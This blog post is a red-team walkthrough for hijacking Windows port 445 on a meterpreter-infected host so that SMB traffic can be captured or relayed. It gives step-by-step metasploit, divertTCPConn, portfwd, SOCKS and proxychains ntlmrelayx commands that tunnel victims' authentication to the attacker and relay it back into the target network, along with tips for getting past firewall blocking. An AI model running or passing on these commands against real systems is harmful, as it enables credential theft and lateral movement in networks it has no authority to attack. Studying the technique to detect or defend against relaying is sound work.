Remote NTLM relaying through meterpreter on Windows port 445

The hijacking of port 445 to perform relay attacks or hash capturing attacks has been a recurring topic for a while now. When you infect a target with meterpreter, how do you listen on port 445? A few weeks ago this topic resurfaced again in part due to Dirk-jan (@_dirkjan) that saw this question flying by in the #bloodhoundgang slack channel and asked me to look into it. This sounded like fun to figure out and he promised that if it worked, he’d document a working setup that would be able to perform SMB relay attacks through meterpreter. Turns out, this is an already solved problem with readily available tools out there, but not a lot of people are aware about the solution.

We will explain how you can leverage these tools to perform relay attacks on a target on which you have a meterpreter session. The added benefit of this approach is the fact that you don’t need python2exe or a whole python stack on the infected host, just a simple driver and a meterpreter infection will do the trick.

The first part of this blog will focus on the thought process of being able to hijack port 445 and the second part of this entry will focus on making it usable for relay attacks. If you want to skip the thought process and relay setup you can also skip directly to the already available solution:

• https://github.com/Arno0x/DivertTCPconn

The rest of this entry is divided into the following sections:

• Who is the owner of port 445?
• Hijacking and redirecting port 445
• The full SMB relay setup through meterpreter

Please note that we took the easy route while writing this blog post and just put all the files on the disk. If you want to avoid that we suggest that you use a ram disk solution or expand the current meterpreter in-memory execution functionality to support something similar to this.

In addition there is a high probability that you either have to recompile the source of the solution statically to ensure you won’t be needing additional DDL files or you’ll have to bundle those DLL files. All this is however left as an exercise to the reader ;)

Who is the owner of port 445?

First things first, what service or process is responsible for listening on port 445? One of my first steps when researching these type of questions is to perform some desk research to identify if maybe someone else already has shared the answer and then manually verify or replicate it on my system, Win10 x64. So I decided to google for:

msdn process listening port 445

The results will probably lead you to:

• https://msdn.microsoft.com/en-us/library/cc875824.aspx
• https://support.microsoft.com/en-us/help/832017/service-overview-and-network-port-requirements-for-windows

Based on the services mentioned in those pages I performed a couple of tests and one of the first services that I stopped and disabled, to identify if it was responsible for the port, was the Server service. Since this did not yield immediate results, I also restarted the machine which did the trick. This is of course not a real solution to our problem, since ideally we prefer to not restart an infected target.

If we dig deeper and look at the properties of the service we’ll see that the command to start the service is:

C:\WINDOWS\system32\svchost.exe -k netsvcs -p

An excellent resource to understand the commandline parameters of svchost.exe is Geoff Chappell his website:

• https://www.geoffchappell.com/studies/windows/win32/services/svchost/index.htm

If we navigate to the mentioned registry key:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost

We’ll find a lot of services bundled, which do not fully answer our question. How about we use a different approach? As usual we overlook the easy option like just checking the properties of the service and finding out that the ‘Dependencies’ tab lists the srvnet service that when you look it up points to a driver.

If we also google for an indepth write up of the eternal blue exploit we’ll find the following write up Exploit Analysis and Port to Windows 10 which states that (paraphrasing): ‘large portions of the SMB protocol lives in the srv.sys driver’ and a bit later states that this driver works closely together with the ‘srvnet.sys driver’. Lastly for a more formal confirmation we’ll also find the following URL:

• https://docs.microsoft.com/en-us/windows-hardware/drivers/network/network-direct-kernel-programming-interface–ndkpi-

The first paragraph pretty much sums up and confirms what we were suspecting all along, the code responsible for handling connections on port 445 lives in the kernel. In a way this is bad news since we can’t just simply hijack the socket. Then again will probably learn new stuff and we know in which direction we have to search for a solution.

Hijacking and redirecting port 445

Now that we have identified that the owner of port 445 lives in the kernel. We can start to think about our strategy. The first thing that jumps to mind is the Linux concept of using iptables to hijack incoming or outgoing connections, since it operates at a very low level in the network stack. To see if we can use this concept on Windows we can have a look at the inner workings of the Windows firewall, which is pretty well documented over here:

• Windows firewall architecture
  • https://technet.microsoft.com/pt-pt/library/cc755604(v=ws.10).aspx
• Windows filtering platform overview
  • https://docs.microsoft.com/en-us/windows-hardware/drivers/network/windows-filtering-platform-architecture-overview

In a sense Windows supports the same concept under the name of Windows Filtering Platform. This is good news since it means it is possible, the bad news however, seems to be that you need to create a driver for this. You’d think that the netsh port redirect trick would work, but it doesn’t. Unfortunately I haven’t yet dived into the details, this might keep me busy in the future on a rainy sunday afternoon.

However we are lazy right? So creating a driver doesn’t sounds like the most ideal solution. Irony has it, that if you google around with the right keywords like wfp port connection you’ll actually find the solution already somewhat documented here by the author (@agsolino) of impacket himself. You’ll also get the windivert framework itself as a hit somewhere in the results. If you keep searching around a bit more you’ll actually find the solution as linked at the beginning of this entry, which is a easy to use application to redirect incoming connections. Now let’s see how to use this to redirect incoming connections on port 445 on an infected system, through meterpreter. The image below visualizes what we are going to do with our newly found toy:

What we see above is that we have a host infected with meterpreter. From this meterpreter we will setup a reverse port forward from the infected host towards our metasploit instance which is receiving the regular meterpreter connection on the regular 4444 port. The remote listening port (8445) on meterpreter will receive the connections that are incoming on port 445, thereby hijacking the incoming connections towards port 445 and passing them through the connection towards metasploit. Let’s do this and capture some credentials just to see that hijacking the Windows 445 port actually works:

1. Set up a working administrative meterpreter session
2. Set up the SMB capture server
   a. use auxiliary/scanner/smb/smb_login
   b. set SRVPORT 9445
   c. run -j
3. Set up a reverse port forward with meterpreter
   a. portfwd add -R -L 127.0.0.1 -l 9445 -p 8445
4. Set up the port 445 hijack
   a. divertTCPConn.exe 445 8445

That’s it! When a victim host now connects to port 445 on the infected host you will receive the hashes in your metasploit console, like in the screenshot below:

For the next part Dirk-jan will walk us through expanding the above into a fully working remote NTLM relay attack through the infected host.

The full SMB relay setup through meterpreter

For the final setup we will use ntlmrelayx set up on an Ubuntu system, which will relay to a system inside our victim’s network. This involves forwarding the traffic both backward and forward through meterpreter. The backward connection is to ensure that when a host in the target network connects to our compromised host, this will reach ntlmrelayx, which can then relay it back to the target network. The connection back to the target network consists of a SOCKS proxy. The following image illustrates this attack:

The first steps are similar to the previous paragraph, this will set up our reverse tunnel:

1. Set up a working administrative meterpreter session
2. Set up a reverse port forward with meterpreter
   a. portfwd add -R -p 4445 -l 445 -L 127.0.0.1
3. Set up the port 445 hijack through meterpreter
   a. execute -f divertTCPconn.exe -a '445 4445'

To set up the forward tunnel, we add a route to redirect traffic via our meterpreter session (session 3 in this case) and set up the SOCKS proxy:

1. Add the route through our meterpreter, in this case we specify the target IP specifically:
   a. route add 192.168.222.103/32 3
2. Set up the SOCKS proxy
   a. use auxiliary/server/socks4a
   b. run
   c. Make sure the SOCKS port (default 1080) is specified in /etc/proxychains.conf
3. Run ntlmrelayx through SOCKS:
   a. sudo proxychains ntlmrelayx.py -t smb://192.168.222.103 -smb2support

Now we should be all set for relaying through our tunnel. You can launch a spoofing attack using for example Inveigh or your own favorite method of obtaining traffic.
As soon as there is an incoming connection, ntlmrelayx will route through the SOCKS tunnel back to our victim network and perform its usual magic:

Some last things to keep in mind:
* When you set up a reverse forward Windows firewall will block it by default. Make sure to remove this blocking or whitelist it in advance.
* You will still need to keep mitigations such as SMB signing in mind when relaying.
* For relaying HTTP traffic (WPAD authentication) all you need to do is add another reverse forward from port 80 to your local ntlmrelayx (unless a webserver is installed port 80 is not in use by default on Windows so no need for advanced redirections here).